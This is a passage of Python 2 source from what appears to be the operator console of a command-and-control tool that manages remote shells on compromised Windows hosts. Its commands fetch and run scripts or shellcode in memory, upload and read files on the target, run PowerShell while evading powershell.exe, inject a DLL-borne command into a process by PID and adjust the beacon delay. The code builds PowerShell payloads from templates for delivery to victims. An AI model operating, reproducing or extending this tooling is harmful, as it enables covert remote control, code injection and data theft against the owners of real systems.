2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.db.delete_all_by_guid(guid) print "Deleting shell with ID %s" % current_id else: UI.error("Invalid session ID") def show_help(self, data): print "\nHelp Menu\n-----------------------\n" print "\tlist args (full) List all active shells" print "\tinteract args (id) Interact with a session" print "\tshow args (error/http/event, count) Show error, http or event log (default number of rows 10)" print "\tkill args (id) Kill shell (clear db only)" print "\texit Exit the application" print "\thelp Show this help menu" # shell commands start here def get_cmd_output(self): timestamp = time.time() while int(time.time() - timestamp) < int( self.config.get("max-output-timeout")): output = self.db.get_output(self.guid) if len(output) >= 1: for item in output: print item break def show_help_shell(self, data): print "\nShell Help Menu\n-----------------------\n" print "\tbackground Return to the main console" print "\trefresh Check for previous commands output" print "\tfetch args (path/url, command) In memory execution of a script and execute a commmand" print "\texec args (path/url) In memory execution of code (shellcode)" print "\tread args (remote path) Read a file on the remote host" print "\tupload args (path/url, path) Upload a file on the remote system" print "\tps List processes" print "\tpowerless args (powershell) Execute Powershell command without invoking Powershell" print "\tinject args (32/64, pid, command)Inject command into a target process (max length 4096)" print "\talias args (key, value) Create an alias to avoid typing the same thing over and over" print "\tdelay args (milliseconds) Update the callback delay" print "\thelp Show this help menu" self.alias.list_alias() self.alias.list_custom_alias() def fetch(self, data): try: cmd, path, ps = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return "" def read_file(self, data): try: cmd, path = data.split(" ", 2) return "Get-Content %s" % path except: UI.error("Missing arguments") return "" def upload_file(self, data): try: cmd, path, remote = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data) ps = Utils.update_key(ps, "PATH", remote) UI.success("Payload will be saved at %s" % path) return ps else: UI.error("Cannot fetch the resource") return data def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 12) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data def powerless(self, data): try: cmd, ps_cmd = data.split(" ", 1) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("powerless.ps1", 22) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd)) return ps def inject(self, data): archs = ["32", "64"] try: option, arch, pid, cmd = data.split(" ", 3) except: UI.error("Missing arguments") return "" if len(cmd) > 4096: UI.error("Your command is bigger than 4096 bytes") return "" if not arch in archs: UI.error("Invalid architecture provided (32/64)") return "" dll = Utils.load_file("bin/inject-%s.dll" % arch) dll = dll.replace("A" * 4096, cmd + "\x00" * (4096 - len(cmd))) ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(dll)) ps = Utils.update_key(ps, "PID", pid) UI.success("Injecting %s" % cmd) UI.success("Into %s bits process with PID %s" % (arch, pid)) return ps def ps(self, data): ps = Utils.load_powershell_script("ps.ps1", 0) return ps def update_delay(self, data): delay = Utils.get_arg_at(data, 1, 2) print "Updating delay to %s" % delay return "delay %s" % delay def refresh(self, data): for item in self.db.get_output(self.guid): print item return "" def set_alias(self, data): try: cmd, key, value = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""